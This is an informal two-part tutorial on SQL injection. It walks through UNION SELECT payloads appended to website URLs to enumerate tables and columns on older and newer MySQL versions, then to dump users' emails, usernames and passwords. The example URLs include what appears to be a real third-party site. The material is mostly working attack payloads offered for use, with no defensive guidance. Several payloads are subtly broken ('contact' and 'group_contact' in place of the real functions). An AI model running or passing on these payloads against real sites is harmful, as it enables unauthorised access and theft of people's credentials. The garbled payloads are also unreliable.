SQL Injection - Tutorial - Database Version 4 and Below

Now as pointed before, if you're database is 4 and lower, you have a lil problem and it will be harder to get the tables.
If your database is 4 or lower.

Add the following at the end of the url :

+UNION+SELECT+1,concat
(table_name,CHAR(58),column_nameCHAR(58),table_schema)from information_schema.columns where column_name like CHAR(37, 112, 97, 115,37),3--

NOTE: If you have 5 available columns you will have to change it etc..

Now if you get no error and you see the tables you are fine, if not you are messed and you will probably have to guess the tables :(

Here are some known table names :

tbl_user, tbl_admin, tbl_access, user, users,
member, members, admin, admins, customer,customers, orders, phpbb_users, phpbb_admins,

Now just add the following at the end of the url :

+UNION+SELECT+1,2,3 from TABLE NAME HERE

So now I will guess the table name admins on My test url :

www.testwebsite.com/index.php/id=234+UNION+SELECT+1,2,3 from admin

Now just keep guessing until you find a table name that works ;)

Now lets say the following table worked :

www.testwebsite.com/index.php/id=234+UNION+SELECT+1,2,3 from users

Now we will have to guess the columns ;)

Common columns names are:

first_name, last_name, email, username,
password, pass, user_id, user_pass

Now we will test the table name, user_pass type in the following at the end of the url :

+UNION+SELECT+1,user_pass,3 from users

So it should look like this :

www.testwebsite.com/index.php/id=234+UNION+SELECT+1,user_pass,3 from users

Now just keep guessing until one of the columns works. :D

Now for example to get the user name, password and email type in the following at the end of the url :

+UNION+SELECT+1,contact
(email,0x3a,username,0x3a,password),3 from users

So this will give us the information of the admin :)

So this was the tutorial Hope you enjoyed ;)

Thank you.
Happy Hacking/Penetration testing :)

SQL Injection - Tutorial - Database Version 5 and Above

Okay, So now we know the database version, now we need to get the tables names.

To do so, add this at the end of the url : 

+UNION+SELECT+1,2,3,4,table_name,6,7,8,9,10,11 from information_schema.tables

NOTE : It should be different in your case, in my case it's 1,2,3,4,table_name,... etc.

The url should look like this now :

http://www.novebrno.net/article.php?
id=-616+UNION+SELECT+1,2,3,4,table_name,6,7,8,9,10,11 from information_schema.tables

Now you should get the Tables information. Sometimes, some of the table names will be cut off, because we are calling the tables from information_schema. So here, we would want to pull the data from the primary database, instead of information_schema.

If it's that case add this at the end of the url :

+UNION+SELECT+1,2,3,4,group_contact(table_name),6,7,8,9,10,11 from information_schema.tables+where +table_schema=database()

Now this should work and you should get all the tables information :)
Some Tables should be :

About, Admin, Admins, User, Users, Affiliates, Access, Customer, User, Login, terms, posts , etc.

Now we want to get the data from those tables. Well, we will change the data in the vulnerable column from table_name, to column_name

So we add this at the end of the url :

+UNION+SELECT+1,2,3,4,group_contact
(column_name),6,7,8,9,10,11 from information_schema.columns+where+table_name=*table name*

So it should look like this :

http://www.novebrno.net/article.php?
id=-616+UNION+SELECT+1,2,3,4,group_contact(column_name),6,7,8,9,10,11 from
information_schema.columns+where
+table_name=*table name*

Note : Whether you can add the Hexed table name if u want to.

So now lets say we got a 'admin' table, now we will change the url to:

http://www.novebrno.net/article.php?
id=-616+UNION+SELECT+1,group_contact
(column_name),3%20from%20information_schema.columns+where+table_name=admin

(You can change the table_name=..) to any table you want to get information from.
Now you will be like wtf? It didn't work, well that is because we didn't hax the table name.

So now to hax the table name go to :

Convert String
To Hexadecimal Online to convert the name admin into hax datas.

Now change the url to :

http://www.novebrno.net/article.php?
id=-616+UNION+SELECT+1,group_contact
(column_name),3%20from%20information_schema.columns+where+table_name=0x61646d696e

Admin is 61646d696e in hex, so I changed that at the end of the url. NOTE: you have to add 0x before the numbers.

Now that will give us all the columns of the table admin.

Now lets say we got the columns email,password and username, to get the information of them.

Type in the following in the url bar :

+UNION+SELECT+1,group_contact
(email,0x3a,username,0x3a,password),3 from admin

So it should look like :

http://www.novebrno.net/article.php?
id=-616+UNION+SELECT+1,group_contact
(email,0x3a,username,0x3a,password),3 from admin

So now you finally have the passwords, emails and user names :)

Remember, if your tables are different you also have to change the data with that I provided you.

Always think while hacking, don't just be
script kidde ;D

Happy Hacking/Penetration testing ;)